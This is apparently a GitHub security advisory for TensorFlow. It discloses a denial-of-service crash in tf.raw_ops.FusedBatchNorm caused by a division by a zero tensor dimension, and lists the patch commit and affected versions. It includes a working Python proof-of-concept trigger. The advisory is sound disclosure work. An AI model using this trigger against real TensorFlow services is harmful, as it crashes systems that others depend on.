GHSA-r35g-4525-29fq

### Impact An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`: ```python import tensorflow as tf x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32) scale = tf.constant([], shape=[0], dtype=tf.float32) offset = tf.constant([], shape=[0], dtype=tf.float32) mean = tf.constant([], shape=[0], dtype=tf.float32) variance = tf.constant([], shape=[0], dtype=tf.float32) epsilon = 0.0 exponential_avg_factor = 0.0 data_format = "NHWC" is_training = False tf.raw_ops.FusedBatchNorm( x=x, scale=scale, offset=offset, mean=mean, variance=variance, epsilon=epsilon, exponential_avg_factor=exponential_avg_factor, data_format=data_format, is_training=is_training) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor: ```cc const int depth = x.dimension(3); const int rest_size = size / depth; ``` Since this is controlled by the user, an attacker can trigger a denial of service. ### Patches We have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.